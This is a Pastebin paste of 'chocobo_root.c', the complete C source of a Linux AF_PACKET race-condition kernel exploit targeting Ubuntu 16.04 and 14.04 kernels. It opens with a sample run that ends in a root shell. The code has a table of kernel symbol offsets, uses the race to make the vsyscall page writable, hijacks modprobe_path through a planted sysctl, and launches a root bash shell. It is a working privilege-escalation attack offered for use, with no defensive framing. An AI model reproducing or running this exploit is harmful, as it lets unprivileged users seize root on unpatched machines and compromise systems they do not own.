Advertisement
Guest User

Untitled

a guest
Dec 7th, 2016
2,233
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 20.31 KB | None | 0 0
  1. /*
  2. chocobo_root.c
  3. linux AF_PACKET race condition exploit
  4. exploit for Ubuntu 16.04 x86_64
  5.  
  6. vroom vroom
  7. *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
  8. user@ubuntu:~$ uname -a
  9. Linux ubuntu 4.4.0-51-generic #72-Ubuntu SMP Thu Nov 24 18:29:54 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
  10. user@ubuntu:~$ id
  11. uid=1000(user) gid=1000(user) groups=1000(user)
  12. user@ubuntu:~$ gcc chocobo_root.c -o chocobo_root -lpthread
  13. user@ubuntu:~$ ./chocobo_root
  14. linux AF_PACKET race condition exploit by rebel
  15. kernel version: 4.4.0-51-generic #72
  16. proc_dostring = 0xffffffff81088090
  17. modprobe_path = 0xffffffff81e48f80
  18. register_sysctl_table = 0xffffffff812879a0
  19. set_memory_rw = 0xffffffff8106f320
  20. exploit starting
  21. making vsyscall page writable..
  22.  
  23. new exploit attempt starting, jumping to 0xffffffff8106f320, arg=0xffffffffff600000
  24. sockets allocated
  25. removing barrier and spraying..
  26. version switcher stopping, x = -1 (y = 174222, last val = 2)
  27. current packet version = 0
  28. pbd->hdr.bh1.offset_to_first_pkt = 48
  29. *=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*
  30. please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that.
  31. closing socket and verifying.......
  32. vsyscall page altered!
  33.  
  34.  
  35. stage 1 completed
  36. registering new sysctl..
  37.  
  38. new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850
  39. sockets allocated
  40. removing barrier and spraying..
  41. version switcher stopping, x = -1 (y = 30773, last val = 0)
  42. current packet version = 2
  43. pbd->hdr.bh1.offset_to_first_pkt = 48
  44. race not won
  45.  
  46. retrying stage..
  47. new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850
  48. sockets allocated
  49. removing barrier and spraying..
  50. version switcher stopping, x = -1 (y = 133577, last val = 2)
  51. current packet version = 0
  52. pbd->hdr.bh1.offset_to_first_pkt = 48
  53. *=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*
  54. please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that.
  55. closing socket and verifying.......
  56. sysctl added!
  57.  
  58. stage 2 completed
  59. binary executed by kernel, launching rootshell
  60. root@ubuntu:~# id
  61. uid=0(root) gid=0(root) groups=0(root),1000(user)
  62.  
  63. *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
  64.  
  65. There are offsets included for older kernels, but they're untested
  66. so be aware that this exploit will probably crash kernels older than 4.4.
  67.  
  68. tested on:
  69. Ubuntu 16.04: 4.4.0-51-generic
  70. Ubuntu 16.04: 4.4.0-47-generic
  71. Ubuntu 16.04: 4.4.0-36-generic
  72. Ubuntu 14.04: 4.4.0-47-generic #68~14.04.1-Ubuntu
  73.  
  74. Shoutouts to:
  75. jsc for inspiration (https://www.youtube.com/watch?v=x4UDIfcYMKI)
  76. mcdelivery for delivering hotcakes and coffee
  77.  
  78. 11/2016
  79. by rebel
  80. */
  81.  
  82. #define _GNU_SOURCE
  83. #include <stdlib.h>
  84. #include <stdio.h>
  85. #include <string.h>
  86. #include <stdint.h>
  87. #include <unistd.h>
  88. #include <sys/wait.h>
  89. #include <assert.h>
  90. #include <errno.h>
  91. #include <fcntl.h>
  92. #include <poll.h>
  93. #include <sys/types.h>
  94. #include <sys/socket.h>
  95. #include <arpa/inet.h>
  96. #include <netinet/if_ether.h>
  97. #include <sys/mman.h>
  98. #include <sys/socket.h>
  99. #include <sys/stat.h>
  100. #include <linux/if_packet.h>
  101. #include <pthread.h>
  102. #include <linux/sched.h>
  103. #include <netinet/tcp.h>
  104. #include <sys/syscall.h>
  105. #include <signal.h>
  106. #include <sched.h>
  107. #include <sys/utsname.h>
  108.  
  109. volatile int barrier = 1;
  110. volatile int vers_switcher_done = 0;
  111.  
  112. struct offset {
  113.     char *kernel_version;
  114.     unsigned long proc_dostring;
  115.     unsigned long modprobe_path;
  116.     unsigned long register_sysctl_table;
  117.     unsigned long set_memory_rw;
  118. };
  119.  
  120.  
  121. struct offset *off = NULL;
  122.  
  123. //99% of these offsets haven't actually been tested :)
  124.  
  125. struct offset offsets[] = {
  126.     {"4.4.0-46-generic #67~14.04.1",0xffffffff810842f0,0xffffffff81e4b100,0xffffffff81274580,0xffffffff8106b880},
  127.     {"4.4.0-47-generic #68~14.04.1",0,0,0,0},
  128.     {"4.2.0-41-generic #48",0xffffffff81083470,0xffffffff81e48920,0xffffffff812775c0,0xffffffff8106c680},
  129.     {"4.8.0-22-generic #24",0xffffffff8108ab70,0xffffffff81e47880,0xffffffff812b34b0,0xffffffff8106f0d0},
  130.     {"4.2.0-34-generic #39",0xffffffff81082080,0xffffffff81c487e0,0xffffffff81274490,0xffffffff8106b5d0},
  131.     {"4.2.0-30-generic #36",0xffffffff810820d0,0xffffffff81c487e0,0xffffffff812744e0,0xffffffff8106b620},
  132.     {"4.2.0-16-generic #19",0xffffffff81081ac0,0xffffffff81c48680,0xffffffff812738f0,0xffffffff8106b110},
  133.     {"4.2.0-17-generic #21",0,0,0,0},
  134.     {"4.2.0-18-generic #22",0,0,0,0},
  135.     {"4.2.0-19-generic #23~14.04.1",0xffffffff8107d640,0xffffffff81c497c0,0xffffffff8125de30,0xffffffff81067750},
  136.     {"4.2.0-21-generic #25~14.04.1",0,0,0,0},
  137.     {"4.2.0-30-generic #36~14.04.1",0xffffffff8107da40,0xffffffff81c4a8e0,0xffffffff8125dd40,0xffffffff81067b20},
  138.     {"4.2.0-27-generic #32~14.04.1",0xffffffff8107dbe0,0xffffffff81c498c0,0xffffffff8125e420,0xffffffff81067c60},
  139.     {"4.2.0-36-generic #42",0xffffffff81083430,0xffffffff81e488e0,0xffffffff81277380,0xffffffff8106c680},
  140.     {"4.4.0-22-generic #40",0xffffffff81087d40,0xffffffff81e48f00,0xffffffff812864d0,0xffffffff8106f370},
  141.     {"4.2.0-18-generic #22~14.04.1",0xffffffff8107d620,0xffffffff81c49780,0xffffffff8125dd10,0xffffffff81067760},
  142.     {"4.4.0-34-generic #53",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286ed0,0xffffffff8106f370},
  143.     {"4.2.0-22-generic #27",0xffffffff81081ad0,0xffffffff81c486c0,0xffffffff81273b20,0xffffffff8106b100},
  144.     {"4.2.0-23-generic #28",0,0,0,0},
  145.     {"4.2.0-25-generic #30",0,0,0,0},
  146.     {"4.4.0-36-generic #55",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286e50,0xffffffff8106f360},
  147.     {"4.2.0-42-generic #49",0xffffffff81083490,0xffffffff81e489a0,0xffffffff81277870,0xffffffff8106c680},
  148.     {"4.4.0-31-generic #50",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286e90,0xffffffff8106f370},
  149.     {"4.4.0-22-generic #40~14.04.1",0xffffffff81084250,0xffffffff81c4b080,0xffffffff81273de0,0xffffffff8106b9d0},
  150.     {"4.2.0-38-generic #45",0xffffffff810833d0,0xffffffff81e488e0,0xffffffff81277410,0xffffffff8106c680},
  151.     {"4.4.0-45-generic #66",0xffffffff81087fc0,0xffffffff81e48f80,0xffffffff812874c0,0xffffffff8106f320},
  152.     {"4.2.0-36-generic #42~14.04.1",0xffffffff8107ffd0,0xffffffff81c499e0,0xffffffff81261ea0,0xffffffff81069d00},
  153.     {"4.4.0-45-generic #66~14.04.1",0xffffffff81084260,0xffffffff81e4b100,0xffffffff81274340,0xffffffff8106b880},
  154.     {"4.2.0-22-generic #27~14.04.1",0xffffffff8107d640,0xffffffff81c497c0,0xffffffff8125deb0,0xffffffff81067750},
  155.     {"4.2.0-25-generic #30~14.04.1",0,0,0,0},
  156.     {"4.2.0-23-generic #28~14.04.1",0,0,0,0},
  157.     {"4.4.0-46-generic #67",0xffffffff81088040,0xffffffff81e48f80,0xffffffff81287800,0xffffffff8106f320},
  158.     {"4.4.0-47-generic #68",0,0,0,0},
  159.     {"4.4.0-34-generic #53~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273c40,0xffffffff8106b880},
  160.     {"4.4.0-36-generic #55~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273c60,0xffffffff8106b890},
  161.     {"4.4.0-31-generic #50~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273c20,0xffffffff8106b880},
  162.     {"4.2.0-38-generic #45~14.04.1",0xffffffff8107fdc0,0xffffffff81c4a9e0,0xffffffff81261540,0xffffffff81069bf0},
  163.     {"4.2.0-35-generic #40",0xffffffff81083430,0xffffffff81e48860,0xffffffff81277240,0xffffffff8106c680},
  164.     {"4.4.0-24-generic #43~14.04.1",0xffffffff81084120,0xffffffff81c4b080,0xffffffff812736f0,0xffffffff8106b880},
  165.     {"4.4.0-21-generic #37",0xffffffff81087cf0,0xffffffff81e48e80,0xffffffff81286310,0xffffffff8106f370},
  166.     {"4.2.0-34-generic #39~14.04.1",0xffffffff8107dc50,0xffffffff81c498e0,0xffffffff8125e830,0xffffffff81067c90},
  167.     {"4.4.0-24-generic #43",0xffffffff81087e60,0xffffffff81e48f00,0xffffffff812868f0,0xffffffff8106f370},
  168.     {"4.4.0-21-generic #37~14.04.1",0xffffffff81084220,0xffffffff81c4b000,0xffffffff81273a30,0xffffffff8106b9d0},
  169.     {"4.2.0-41-generic #48~14.04.1",0xffffffff8107fe20,0xffffffff81c4aa20,0xffffffff812616c0,0xffffffff81069bf0},
  170.     {"4.8.0-27-generic #29",0xffffffff8108ab70,0xffffffff81e47880,0xffffffff812b3490,0xffffffff8106f0d0},
  171.     {"4.8.0-26-generic #28",0,0,0,0},
  172.     {"4.4.0-38-generic #57",0xffffffff81087f70,0xffffffff81e48f80,0xffffffff81287470,0xffffffff8106f360},
  173.     {"4.4.0-42-generic #62~14.04.1",0xffffffff81084260,0xffffffff81e4b100,0xffffffff81274300,0xffffffff8106b880},
  174.     {"4.4.0-38-generic #57~14.04.1",0xffffffff81084210,0xffffffff81e4b100,0xffffffff812742e0,0xffffffff8106b890},
  175.     {"4.4.0-49-generic #70",0xffffffff81088090,0xffffffff81e48f80,0xffffffff81287d40,0xffffffff8106f320},
  176.     {"4.4.0-49-generic #70~14.04.1",0xffffffff81084350,0xffffffff81e4b100,0xffffffff81274b10,0xffffffff8106b880},
  177.     {"4.2.0-21-generic #25",0xffffffff81081ad0,0xffffffff81c486c0,0xffffffff81273aa0,0xffffffff8106b100},
  178.     {"4.2.0-19-generic #23",0,0,0,0},
  179.     {"4.2.0-42-generic #49~14.04.1",0xffffffff8107fe20,0xffffffff81c4aaa0,0xffffffff81261980,0xffffffff81069bf0},
  180.     {"4.4.0-43-generic #63",0xffffffff81087fc0,0xffffffff81e48f80,0xffffffff812874b0,0xffffffff8106f320},
  181.     {"4.4.0-28-generic #47",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286df0,0xffffffff8106f370},
  182.     {"4.4.0-28-generic #47~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273b70,0xffffffff8106b880},
  183.     {"4.9.0-1-generic #2",0xffffffff8108bbe0,0xffffffff81e4ac20,0xffffffff812b8400,0xffffffff8106f390},
  184.     {"4.8.0-28-generic #30",0xffffffff8108ae10,0xffffffff81e48b80,0xffffffff812b3690,0xffffffff8106f0e0},
  185.     {"4.2.0-35-generic #40~14.04.1",0xffffffff8107fff0,0xffffffff81c49960,0xffffffff81262320,0xffffffff81069d20},
  186.     {"4.2.0-27-generic #32",0xffffffff810820c0,0xffffffff81c487c0,0xffffffff81274150,0xffffffff8106b620},
  187.     {"4.4.0-42-generic #62",0xffffffff81087fc0,0xffffffff81e48f80,0xffffffff812874a0,0xffffffff8106f320},
  188.     {"4.4.0-51-generic #72",0xffffffff81088090,0xffffffff81e48f80,0xffffffff812879a0,0xffffffff8106f320},
  189. //{"4.8.6-300.fc25.x86_64 #1 SMP Tue Nov 1 12:36:38 UTC 2016",0xffffffff9f0a8b30,0xffffffff9fe40940,0xffffffff9f2cfbf0,0xffffffff9f0663b0},
  190.     {NULL,0,0,0,0}
  191. };
  192.  
  193. #define VSYSCALL 0xffffffffff600000
  194.  
  195. #define PAD 64
  196.  
  197. int pad_fds[PAD];
  198.  
  199. struct ctl_table {
  200.     const char *procname;
  201.     void *data;
  202.     int maxlen;
  203.     unsigned short mode;
  204.     struct ctl_table *child;
  205.     void *proc_handler;
  206.     void *poll;
  207.     void *extra1;
  208.     void *extra2;
  209. };
  210.  
  211. #define CONF_RING_FRAMES 1
  212.  
  213. struct tpacket_req3 tp;
  214. int sfd;
  215. int mapped = 0;
  216.  
  217. struct timer_list {
  218.     void *next;
  219.     void *prev;
  220.     unsigned long           expires;
  221.     void                    (*function)(unsigned long);
  222.     unsigned long           data;
  223.     unsigned int                     flags;
  224.     int                     slack;
  225. };
  226.  
  227. void *setsockopt_thread(void *arg)
  228. {
  229.     while(barrier) {
  230.     }
  231.     setsockopt(sfd, SOL_PACKET, PACKET_RX_RING, (void*) &tp, sizeof(tp));
  232.  
  233.     return NULL;
  234. }
  235.  
  236. void *vers_switcher(void *arg)
  237. {
  238.     int val,x,y;
  239.  
  240.     while(barrier) {}
  241.  
  242.     while(1) {
  243.         val = TPACKET_V1;
  244.         x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));
  245.  
  246.         y++;
  247.  
  248.         if(x != 0) break;
  249.  
  250.         val = TPACKET_V3;
  251.         x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));
  252.  
  253.         if(x != 0) break;
  254.  
  255.         y++;
  256.     }
  257.  
  258.     fprintf(stderr,"version switcher stopping, x = %d (y = %d, last val = %d)\n",x,y,val);
  259.     vers_switcher_done = 1;
  260.  
  261.  
  262.     return NULL;
  263. }
  264.  
  265. #define BUFSIZE 1408
  266. char exploitbuf[BUFSIZE];
  267.  
  268. void kmalloc(void)
  269. {
  270.     while(1)
  271.         syscall(__NR_add_key, "user","wtf",exploitbuf,BUFSIZE-24,-2);
  272. }
  273.  
  274.  
  275. void pad_kmalloc(void)
  276. {
  277.     int x;
  278.  
  279.     for(x=0; x<PAD; x++)
  280.         if(socket(AF_PACKET,SOCK_DGRAM,htons(ETH_P_ARP)) == -1) {
  281.             fprintf(stderr,"pad_kmalloc() socket error\n");
  282.             exit(1);
  283.         }
  284.  
  285. }
  286.  
  287. int try_exploit(unsigned long func, unsigned long arg, void *verification_func)
  288. {
  289.     pthread_t setsockopt_thread_thread,a;
  290.     int val;
  291.     socklen_t l;
  292.     struct timer_list *timer;
  293.     int fd;
  294.     struct tpacket_block_desc *pbd;
  295.     int off;
  296.     sigset_t set;
  297.  
  298.     sigemptyset(&set);
  299.  
  300.     sigaddset(&set, SIGSEGV);
  301.  
  302.     if(pthread_sigmask(SIG_BLOCK, &set, NULL) != 0) {
  303.         fprintf(stderr,"couldn't set sigmask\n");
  304.         exit(1);
  305.     }
  306.  
  307.     fprintf(stderr,"new exploit attempt starting, jumping to %p, arg=%p\n",(void *)func,(void *)arg);
  308.  
  309.     pad_kmalloc();
  310.  
  311.     fd=socket(AF_PACKET,SOCK_DGRAM,htons(ETH_P_ARP));
  312.  
  313.     if (fd==-1) {
  314.         printf("target socket error\n");
  315.         exit(1);
  316.     }
  317.  
  318.     pad_kmalloc();
  319.  
  320.     fprintf(stderr,"sockets allocated\n");
  321.  
  322.     val = TPACKET_V3;
  323.  
  324.     setsockopt(fd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));
  325.  
  326.     tp.tp_block_size = CONF_RING_FRAMES * getpagesize();
  327.     tp.tp_block_nr = 1;
  328.     tp.tp_frame_size = getpagesize();
  329.     tp.tp_frame_nr = CONF_RING_FRAMES;
  330.  
  331. //try to set the timeout to 10 seconds
  332. //the default timeout might still be used though depending on when the race was won
  333.     tp.tp_retire_blk_tov = 10000;
  334.  
  335.     sfd = fd;
  336.  
  337.     if(pthread_create(&setsockopt_thread_thread, NULL, setsockopt_thread, (void *)NULL)) {
  338.         fprintf(stderr, "Error creating thread\n");
  339.         return 1;
  340.     }
  341.  
  342.  
  343.     pthread_create(&a, NULL, vers_switcher, (void *)NULL);
  344.  
  345.     usleep(200000);
  346.  
  347.     fprintf(stderr,"removing barrier and spraying..\n");
  348.  
  349.     memset(exploitbuf,'\x00',BUFSIZE);
  350.  
  351.     timer = (struct timer_list *)(exploitbuf+(0x6c*8)+6-8);
  352.     timer->next = 0;
  353.     timer->prev = 0;
  354.  
  355.     timer->expires = 4294943360;
  356.     timer->function = (void *)func;
  357.     timer->data = arg;
  358.     timer->flags = 1;
  359.     timer->slack = -1;
  360.  
  361.  
  362.     barrier = 0;
  363.  
  364.     usleep(100000);
  365.  
  366.     while(!vers_switcher_done)usleep(100000);
  367.  
  368.     l = sizeof(val);
  369.     getsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, &l);
  370.  
  371.     fprintf(stderr,"current packet version = %d\n",val);
  372.  
  373.     pbd = mmap(0, tp.tp_block_size * tp.tp_block_nr, PROT_READ | PROT_WRITE, MAP_SHARED, sfd, 0);
  374.  
  375.  
  376.     if(pbd == MAP_FAILED) {
  377.         fprintf(stderr,"could not map pbd\n");
  378.         exit(1);
  379.     }
  380.  
  381.     else {
  382.         off = pbd->hdr.bh1.offset_to_first_pkt;
  383.         fprintf(stderr,"pbd->hdr.bh1.offset_to_first_pkt = %d\n",off);
  384.     }
  385.  
  386.  
  387.     if(val == TPACKET_V1 && off != 0) {
  388.         fprintf(stderr,"*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*\n");
  389.     }
  390.  
  391.     else {
  392.         fprintf(stderr,"race not won\n");
  393.         exit(2);
  394.     }
  395.  
  396.     munmap(pbd, tp.tp_block_size * tp.tp_block_nr);
  397.  
  398.     pthread_create(&a, NULL, verification_func, (void *)NULL);
  399.  
  400.     fprintf(stderr,"please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that.\n");
  401.     sleep(1);
  402.     fprintf(stderr,"closing socket and verifying..");
  403.  
  404.     close(sfd);
  405.  
  406.     kmalloc();
  407.  
  408.     fprintf(stderr,"all messages sent\n");
  409.  
  410.     sleep(31337);
  411.     exit(1);
  412. }
  413.  
  414.  
  415. int verification_result = 0;
  416.  
  417. void catch_sigsegv(int sig)
  418. {
  419.     verification_result = 0;
  420.     pthread_exit((void *)1);
  421. }
  422.  
  423.  
  424. void *modify_vsyscall(void *arg)
  425. {
  426.     unsigned long *vsyscall = (unsigned long *)(VSYSCALL+0x850);
  427.     unsigned long x = (unsigned long)arg;
  428.  
  429.     sigset_t set;
  430.     sigemptyset(&set);
  431.     sigaddset(&set, SIGSEGV);
  432.  
  433.     if(pthread_sigmask(SIG_UNBLOCK, &set, NULL) != 0) {
  434.         fprintf(stderr,"couldn't set sigmask\n");
  435.         exit(1);
  436.     }
  437.  
  438.     signal(SIGSEGV, catch_sigsegv);
  439.  
  440.     *vsyscall = 0xdeadbeef+x;
  441.  
  442.     if(*vsyscall == 0xdeadbeef+x) {
  443.         fprintf(stderr,"\nvsyscall page altered!\n");
  444.         verification_result = 1;
  445.         pthread_exit(0);
  446.     }
  447.  
  448.     return NULL;
  449. }
  450.  
  451. void verify_stage1(void)
  452. {
  453.     int x;
  454.     pthread_t v_thread;
  455.  
  456.     sleep(5);
  457.  
  458.     for(x=0; x<300; x++) {
  459.  
  460.         pthread_create(&v_thread, NULL, modify_vsyscall, 0);
  461.  
  462.         pthread_join(v_thread, NULL);
  463.  
  464.         if(verification_result == 1) {
  465.             exit(0);
  466.         }
  467.  
  468.         write(2,".",1);
  469.         sleep(1);
  470.     }
  471.  
  472.     printf("could not modify vsyscall\n");
  473.  
  474.     exit(1);
  475. }
  476.  
  477. void verify_stage2(void)
  478. {
  479.     int x;
  480.     struct stat b;
  481.  
  482.     sleep(5);
  483.  
  484.     for(x=0; x<300; x++) {
  485.  
  486.         if(stat("/proc/sys/hack",&b) == 0) {
  487.             fprintf(stderr,"\nsysctl added!\n");
  488.             exit(0);
  489.         }
  490.  
  491.         write(2,".",1);
  492.         sleep(1);
  493.     }
  494.  
  495.     printf("could not add sysctl\n");
  496.     exit(1);
  497.  
  498.  
  499. }
  500.  
  501. void exploit(unsigned long func, unsigned long arg, void *verification_func)
  502. {
  503.     int status;
  504.     int pid;
  505.  
  506. retry:
  507.  
  508.     pid = fork();
  509.  
  510.     if(pid == 0) {
  511.         try_exploit(func, arg, verification_func);
  512.         exit(1);
  513.     }
  514.  
  515.     wait(&status);
  516.  
  517.     printf("\n");
  518.  
  519.     if(WEXITSTATUS(status) == 2) {
  520.         printf("retrying stage..\n");
  521.         kill(pid, 9);
  522.         sleep(2);
  523.         goto retry;
  524.     }
  525.  
  526.     else if(WEXITSTATUS(status) != 0) {
  527.         printf("something bad happened, aborting exploit attempt\n");
  528.         exit(-1);
  529.     }
  530.  
  531.  
  532.  
  533.     kill(pid, 9);
  534. }
  535.  
  536.  
  537. void wrapper(void)
  538. {
  539.     struct ctl_table *c;
  540.  
  541.     fprintf(stderr,"exploit starting\n");
  542.     printf("making vsyscall page writable..\n\n");
  543.  
  544.     exploit(off->set_memory_rw, VSYSCALL, verify_stage1);
  545.  
  546.     printf("\nstage 1 completed\n");
  547.  
  548.     sleep(5);
  549.  
  550.     printf("registering new sysctl..\n\n");
  551.  
  552.     c = (struct ctl_table *)(VSYSCALL+0x850);
  553.  
  554.     memset((char *)(VSYSCALL+0x850), '\x00', 1952);
  555.  
  556.     strcpy((char *)(VSYSCALL+0xf00),"hack");
  557.     memcpy((char *)(VSYSCALL+0xe00),"\x01\x00\x00\x00",4);
  558.     c->procname = (char *)(VSYSCALL+0xf00);
  559.     c->mode = 0666;
  560.     c->proc_handler = (void *)(off->proc_dostring);
  561.     c->data = (void *)(off->modprobe_path);
  562.     c->maxlen=256;
  563.     c->extra1 = (void *)(VSYSCALL+0xe00);
  564.     c->extra2 = (void *)(VSYSCALL+0xd00);
  565.  
  566.     exploit(off->register_sysctl_table, VSYSCALL+0x850, verify_stage2);
  567.  
  568.     printf("stage 2 completed\n");
  569. }
  570.  
  571. void launch_rootshell(void)
  572. {
  573.     int fd;
  574.     char buf[256];
  575.     struct stat s;
  576.  
  577.  
  578.     fd = open("/proc/sys/hack",O_WRONLY);
  579.  
  580.     if(fd == -1) {
  581.         fprintf(stderr,"could not open /proc/sys/hack\n");
  582.         exit(-1);
  583.     }
  584.  
  585.     memset(buf,'\x00', 256);
  586.  
  587.     readlink("/proc/self/exe",(char *)&buf,256);
  588.  
  589.     write(fd,buf,strlen(buf)+1);
  590.  
  591.     socket(AF_INET,SOCK_STREAM,132);
  592.  
  593.     if(stat(buf,&s) == 0 && s.st_uid == 0) {
  594.         printf("binary executed by kernel, launching rootshell\n");
  595.         lseek(fd, 0, SEEK_SET);
  596.         write(fd,"/sbin/modprobe",15);
  597.         close(fd);
  598.         execl(buf,buf,NULL);
  599.     }
  600.  
  601.     else
  602.         printf("could not create rootshell\n");
  603.  
  604.  
  605. }
  606.  
  607. int main(int argc, char **argv)
  608. {
  609.     int status, pid;
  610.     struct utsname u;
  611.     int i, crash = 0;
  612.     char buf[512], *f;
  613.  
  614.  
  615.     if(argc == 2 && !strcmp(argv[1],"crash")) {
  616.         crash = 1;
  617.     }
  618.  
  619.  
  620.     if(getuid() == 0 && geteuid() == 0 && !crash) {
  621.         chown("/proc/self/exe",0,0);
  622.         chmod("/proc/self/exe",06755);
  623.         exit(-1);
  624.     }
  625.  
  626.     else if(getuid() != 0 && geteuid() == 0 && !crash) {
  627.         setresuid(0,0,0);
  628.         setresgid(0,0,0);
  629.         execl("/bin/bash","bash","-p",NULL);
  630.         exit(0);
  631.     }
  632.  
  633.     fprintf(stderr,"linux AF_PACKET race condition exploit by rebel\n");
  634.  
  635.     uname(&u);
  636.  
  637.     if((f = strstr(u.version,"-Ubuntu")) != NULL) *f = '\0';
  638.  
  639.     snprintf(buf,512,"%s %s",u.release,u.version);
  640.  
  641.     printf("kernel version: %s\n",buf);
  642.  
  643.  
  644.     for(i=0; offsets[i].kernel_version != NULL; i++) {
  645.         if(!strcmp(offsets[i].kernel_version,buf)) {
  646.  
  647.             while(offsets[i].proc_dostring == 0)
  648.                 i--;
  649.  
  650.             off = &offsets[i];
  651.             break;
  652.         }
  653.     }
  654.  
  655.     if(crash) {
  656.         off = &offsets[0];
  657.         off->set_memory_rw = 0xffffffff41414141;
  658.     }
  659.  
  660.     if(off) {
  661.         printf("proc_dostring = %p\n",(void *)off->proc_dostring);
  662.         printf("modprobe_path = %p\n",(void *)off->modprobe_path);
  663.         printf("register_sysctl_table = %p\n",(void *)off->register_sysctl_table);
  664.         printf("set_memory_rw = %p\n",(void *)off->set_memory_rw);
  665.     }
  666.  
  667.     if(!off) {
  668.         fprintf(stderr,"i have no offsets for this kernel version..\n");
  669.         exit(-1);
  670.     }
  671.  
  672.     pid = fork();
  673.  
  674.     if(pid == 0) {
  675.         if(unshare(CLONE_NEWUSER) != 0)
  676.             fprintf(stderr, "failed to create new user namespace\n");
  677.  
  678.         if(unshare(CLONE_NEWNET) != 0)
  679.             fprintf(stderr, "failed to create new network namespace\n");
  680.  
  681.         wrapper();
  682.         exit(0);
  683.     }
  684.  
  685.     waitpid(pid, &status, 0);
  686.  
  687.     launch_rootshell();
  688.     return 0;
  689. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement